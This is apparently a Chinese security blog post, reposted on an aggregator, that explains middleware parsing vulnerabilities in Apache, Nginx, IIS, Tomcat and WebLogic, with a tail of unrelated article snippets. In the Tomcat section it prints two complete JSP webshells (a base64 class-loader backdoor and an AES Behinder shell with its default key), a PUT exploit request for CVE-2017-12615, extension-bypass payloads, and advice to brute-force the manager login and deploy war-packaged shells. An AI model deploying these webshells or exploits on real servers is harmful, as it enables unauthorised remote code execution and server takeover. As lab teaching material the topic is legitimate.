中间件漏洞!!!

上次好像记得讲过了框架漏洞,(weblogic不是)那么,今天我们就来讲一些中间件的漏洞

1.Apache解析漏洞

众所周知,Apache是一个非常出名的中间件,本来呢,他是不存在漏洞的,但是如果用户进行了错误的配置的话,就会导致漏洞的产生

1.Handler错误配置

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.types),则继续向左识别!! ---这是apache的解析规则

本来呢,apache服务器是不会解析php文件的,但是如果一些运维人员想要让他解析的话,那么就会加上这么一句话

AddType application/x­httpd­php .php
它的作用也是为了让 apache php 文件交给 php_module 解析 , 但是注意到它与SetHandler: 它的 后缀不是用正则去匹配的 所以, 在文件名的任何位置匹配到php后缀,它都会php_module解析。
所以,当我们上传一个这样的文件的时候,就能被成功的解析
那么总结一下这个漏洞的条件??

  1. 有人设置了 AddType application/x­httpd­php .php这个handler(没有正则匹配只能是php php3  php5这样的结尾)
  2. 有了上述的错误配置之后,结合上apache的从右往左解析的特点(找不到就继续找),导致到了 .php.eweqdd 这样的文件结尾能被解析成php文件

2.CVE-2017-15715

Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析 漏洞,在解析PHP 时, 1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

漏洞的原理,就在这里 

我们众所周知 $是正则匹配以什么结尾,反手用mysql来演示一下
漏洞是怎么产生的呢?? 首先得知道一个东西
$ 符号 : 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' '\r'
假设有这样的一个php源代码
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>

很明显,这个是用来判断上传的类型的,问题就在于它的 $name是用的POST来接受的!!

当我们传入的文件后缀为 .php\n的时候,POST并不会去掉我们的\n,并且传入之后,我们的文件格式 .php\n还会被匹配成.php 

所以这个能利用起来还是很苛刻的!!!

还是来捋一下思路

  1. 首先,网站的regexp设置了multiline的属性,而且在http.conf里面用 $来匹配php结尾
  2. 然后,就是获取文件的格式不能直接 $_FILES['FILE']['name']来接受我们的文件格式,必须要有一个单独的格式去接受我们的文件格式
  3. 最后就是要去包里面将文件的后缀名字加上一个 %0a

    注意哦,我们这里的蚁剑连接,也是要接的%0a
这个利用起来还真是好难呢

2.Nginx解析漏洞

PHP 配置文件中有一个参数是 cgi.fix_pathinfo ,如果参数 cgi.fix_pathinfo=1 ,则产生该漏洞
这个还是比较好利用的,复现过程如下

如何我的www目录下有一个shell.jpg文件,并且里面写的是一句话的木马,当我访问这样的一个url的时候,就会产生漏洞

http://127.0.0.1/shell.jpg/i_want_to_be_a_blue_team_member.php

哈哈哈,后面那些是我自己的创造,但是不重要,在开启了cgi.fix_pathinfo这个函数的时候,解析就变成了以下的规则!!!!

先去找一下********.php(就是我最后的那个php文件),肯定是找不到的,然后以PHP的规则向前面解析!!!当碰到shell.jpg的时候,就会把他当成php来解析!!!

所以漏洞就是这样子产生的

所以总结:

  1. 只要开启了cgi.fix_pathinfo为1,那么这个漏洞将会存在!!!!

3.IIS解析漏洞

1.IIS7.X解析漏洞

这个漏洞和上面的Nginx的解析漏洞有点像!!! 也是需要对应的cgi.;x_pathinfo=1

有了上面的前提之后,在某文件路径后添加/.php会将该文件解析成php文件

2.IIS6.0解析漏洞

前提也比较简单

ii6.0的服务器开启Active Server Pages服务拓展!!

那么我们这样的格式,就会直接忽略 ; 后面的内容,直接解析 ; 前面的内容!!

所以我们的poc就是

/shell.asp;.jpg

4.Tomcat

汤姆猫的漏洞可不少

1.弱口令

tomcat 存在管理后台进行应用部署管理,且管理后台使用 HTTP 基础认证进行登录。若用户口令为弱口令,攻击者 容易进行暴力破解登录后台并进行应用管理。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。
默认来说,它的用户名就是默认tomcat,所以如果我们遇到的话,就可以去尝试一下
点击这里,直接爆破就好(或者你弱口令)不过这个tomcat也是抽象,base64编码是吧,那么这样的话就可能要你自己去写一个py的脚本来换字典了
这里就直接弱口令进来了
原理? 下面来看看
首先是进入docker吧
docker exec -it  "container_id"  /bin/bash

然后去对应位置查看是否存在弱口令

cd /usr/local/tomcat/conf
cat tomcat-users.xml

然后就能看见配置

然后我们都进到了后台了,说说怎么利用吧!!!
看到这个部署了吗!!!是不是和weblogic很像 那么我们就按之前的操作再来一遍
java语言,直接上jsp的🐎,这里我用的冰蝎,好像蚁剑对jsp的🐎连接效果不好
老样子,先找一个jsp的马,然后打包成war包
然后直接部署
然后去访问shell目录下的shell.jsp
然后就被啪啪打脸了

md,冰蝎连不上了,反而蚁剑连上了       

可能我用的这个🐎不是冰蝎自带的吧
<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
%>

那么换冰蝎的马试试??

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}
}
%>
<%
if (request.getMethod().equals("POST")) {String k = "e45e329feb5d925b"; // 默认连接密码rebeyond的前16位md5值session.putValue("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));byte[] decodedData = new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine());byte[] decryptedData = c.doFinal(decodedData);ClassLoader classLoader = this.getClass().getClassLoader();Class loadedClass = new U(classLoader).g(decryptedData);Object instance = loadedClass.newInstance();// 检查实例是否与pageContext相等if (instance.equals(pageContext)) {// 执行一些特定的操作}
}
%>

我真无语了。。。。。 自己的马自己都连不上

2.CVE-2017-12615

在Tomcat配置文件设置了PUT上传方法 ,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
受到影响的版本:Apache Tomcat 7.0.0 - 7.0.79 (windows环境) (Linux的话不是,反正遇到tomcat就去试试!!!)
poc如下
PUT /1.jsp/ HTTP/1.1
Host: your­ip:8080
Accept: */*
Accept­Language: en
User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content­Type: application/x­www­form­urlencoded
Content­Length: 5这里直接写你的webshell code
上BP!!(冰蝎我给你最后一次机会)
爬,给我爬,连不上,蚁剑,我还是爱你的
上蚁剑的🐎
小小flag:::以后我只用蚁剑!!!!
但是其实到了这个步骤,并不是结束了,当我们看到一个Linux搭建的环境的时候!!!
我们就要去想会不会是docker !!!(因为要逃逸)
但是可以说,这个靶场做的挺不错的
挺全的,就连以下两个命令也检查不出来
ls -a   //看看有没有隐藏的  .docker.env这种特征性文件
cat /proc/1/groups    //看看有没有docker的字样

但是,最后的这一个命令就露馅了,一个Linux机器(非docker环境)怎么可能连ifconfig都没有

5.Weblogic

weblogic的话,我之前讲过它的泄露密码

对于它出现过的SSRF漏洞,请看我的下一篇Blog 关于SSRF的

对于反序列化,其实挺多的,但是原理复杂,我就不细讲了,这种用工具扫就是

直接用工具扫就好了

以上,就是比较出名的中间件漏洞啦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/793092.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索大数据时代下与云计算技术融合:实现企业级数据处理与分析的灵活性和效率性

引言&#xff1a; 关联阅读博客文章&#xff1a;深度剖析&#xff1a;计算机集群在大数据体系中的关键角色和技术要点 随着信息时代的到来&#xff0c;数据量的爆炸性增长已成为一种常态。企业、政府、科研机构等各个领域都面临着海量数据的收集、存储、处理和分析的挑战。在…

go并发请求url

sync.WaitGroup写法 package mainimport ("database/sql""fmt""net/http""sync""time"_ "github.com/go-sql-driver/mysql" )func main() {//开始计时start : time.Now()//链接数据库&#xff0c;用户名&#xf…

Flutter-发布插件到pub上传不上问题

问题1&#xff1a; 尝试指令&#xff1a; flutter packages pub publish --serverhttps://pub.dartlang.org问题2&#xff1a; 问题1解决后&#xff0c;进入验证身份&#xff0c;点击终端显示的链接&#xff0c;跳转到google验证&#xff0c;记得这里要科*学上网&#xff0c;点…

基于 Docker 的 python grpc quickstart

工作之后一直使用的 RPC 框架是 Apache 的 thrift&#xff0c;现在发现 grpc 更流行&#xff0c;所以也要学习一下&#xff0c;先来简单的跑一下 demo。在本地安装运行也很方便&#xff0c;不过因为有了 docker&#xff0c;所以在 docker 里面安装运行隔离性更好&#xff0c;顺…

Unity框架,ET框架8.1版本的打包流程记录

目录 打包代码前置1.必须要安装Visusal Studio 2022的组件&#xff0c;如下图&#xff0c;必须都要进行安装&#xff0c;不然会在代码重构的时候报错&#xff0c;丢失SDK。Rider的版本必须2023及以上 步骤一、使用Rider编辑器打开项目后进行重构项目步骤二、使用HybirdCLR生成A…

在ArcGIS Pro中优雅的制作荧光图

最近在网上看到了荧光图&#xff0c;觉得挺帅气&#xff0c;去网上查询了怎么制作荧光图&#xff0c;发现大部分都是QGIS的教程&#xff0c;作为ArcGIS的死忠用户&#xff0c;决定在ArcGIS Pro中实现&#xff0c;其实挺简单的。 1、软件&#xff1a;ArcGIS Pro3.0 2、点数据&a…

NOI - OpenJudge - 2.5基本算法之搜索 - 1490:A Knight‘s Journey - 超详解析(含AC代码)

点赞关注吧~ 1490:A Knights Journey 查看提交统计提问 总时间限制: 1000ms 内存限制: 65536kB 描述 Background The knight is getting bored of seeing the same black and white squares again and again and has decided to make a journey around the world. When…

Vue开发加速器:Chrome的vue-devtools插件解决开发难题

I. 简介 Vue.js是一个流行的前端JavaScript框架&#xff0c;它允许开发人员轻松构建可扩展的Web应用程序和移动应用程序。vue-devtools是一个Chrome浏览器的扩展程序&#xff0c;它是由Vue.js官方维护的一款强大的调试工具。结合Vue.js和vue-devtools插件&#xff0c;开发人员…

前端三剑客 —— CSS (第五节)

目录 内容回顾&#xff1a; 特殊样式 特殊样式 CSS变量 常见函数 倒影效果 页面布局 Table 布局&#xff08;了解即可&#xff09; DIVCSS布局 弹性布局 1&#xff09;不使用弹性布局&#xff0c;而是使用DIVCSS 2&#xff09;使用弹性布局实现导航菜单 内容回顾…

echart 仪表盘实现指针的渐变色及添加图片

需求&#xff1a; 在仪表盘中设置指针为渐变色&#xff0c;并在仪表盘中间添加图片。 实现重点&#xff1a; 1、仪表盘指针渐变色的实现 渐变色通过设置pointer的itemStyle属性内的color实现&#xff0c;重点是echart版本&#xff0c;这个原本使用4.8.0的版本不起作用&#xff…

排序基础---插入排序及在c++中开辟二维数组

排序基础---插入排序 插入排序是一种比较排序。 选出一个临时变量tmp. 然后弄一个end&#xff0c;end最初可以是0. 那么tmp便应该是a[end1] 最终的目的是为了使一个序列有序&#xff0c;所以应该让tmp依次与前[0,end],进行比较最后插入到合适的位置。 void insert_sort(…

AD20全流程的使用笔记

目录 首先一个完整的AD工程文件需要我们自己建立的文件有这些&#xff1a; 新建工程&#xff1a; 从现有的工程文件中将元件添加到原理图库&#xff1a; 元件的摆放&#xff1a; 器件的复制及对齐&#xff1a; 导线、Netlabe、端口的添加&#xff1a; Value值的校对&…

SQL注入---盲注

文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 一.盲注概述 注是一种SQL注入攻击的形式&#xff0c;在这种攻击中&#xff0c;攻击者向目标应用程序发送恶意注入代码&#xff0c;然后通过观察应用程序的响应来推断出数据库中的信息。与常规的…

设计模式——抽象工厂模式02

如果是工厂模式是对同一类商品进行抽象然后生产。 那么抽象工厂模式是对工厂的抽象&#xff0c;每个工厂都能生产多种产品&#xff0c;不同工厂生产的商品性质相同&#xff0c;但外观&#xff0c;品牌会略有差异。 设计模式&#xff0c;一定要敲代码理解 商品抽象 public in…

每日五道java面试题之ZooKeeper篇(一)

目录&#xff1a; 第一题. ZooKeeper 是什么&#xff1f;第二题. Zookeeper 文件系统第三题. Zookeeper 怎么保证主从节点的状态同步&#xff1f;第四题. 四种类型的数据节点 Znode第五题 . Zookeeper Watcher 机制 – 数据变更通知 第一题. ZooKeeper 是什么&#xff1f; Zoo…

MySQL面试题系列-6

MySQL是一个关系型数据库管理系统&#xff0c;由瑞典 MySQL AB 公司开发&#xff0c;属于 Oracle 旗下产品。MySQL是最流行的关系型数据库管理系统之一&#xff0c;在 WEB 应用方面&#xff0c;MySQL是最好的RDBMS (Relational Database Management System&#xff0c;关系数据…

flutter项目ffi相关

Flutter 使用FFICustomPainter实现全平台渲染视频_flutter ffi-CSDN博客

libusb Qt使用记录

1.libusb 下载 &#xff0c;选择编译好的二进制文件&#xff0c;libusb-1.0.26-binaries.7z libusb Activity 2. 解压 3. 在 Qt Widgets Application 或者 Qt Console Application 工程中导入库&#xff0c;Qt 使用的是 minggw 64编译器&#xff0c;所以选择libusb-MinGW-x64。…

基于STM32的电子钟与万年历设计

1、功能 硬件部分&#xff1a; (1). 采用 STM32F103ZET6作为主控芯片&#xff0c; 负责驱动其他外设模块 (2). 实时时钟采用 STM32 本身的 RTC (3). TFT(LCD)彩色显示屏 正点原子的3.5寸触摸屏&#xff08;NT3510&#xff09; (4). DS18B20 温度传感器 支持的功能&#xf…

C语言—用EasyX实现反弹球消砖块游戏

代码效果如下 #undef UNICODE #undef _UNICODE #include<graphics.h> #include<conio.h> #include<time.h> #include<stdio.h>#define width 640 #define high 480 #define brick_num 10int ball_x, ball_y; int ball_vx, ball_vy; int radius; int ba…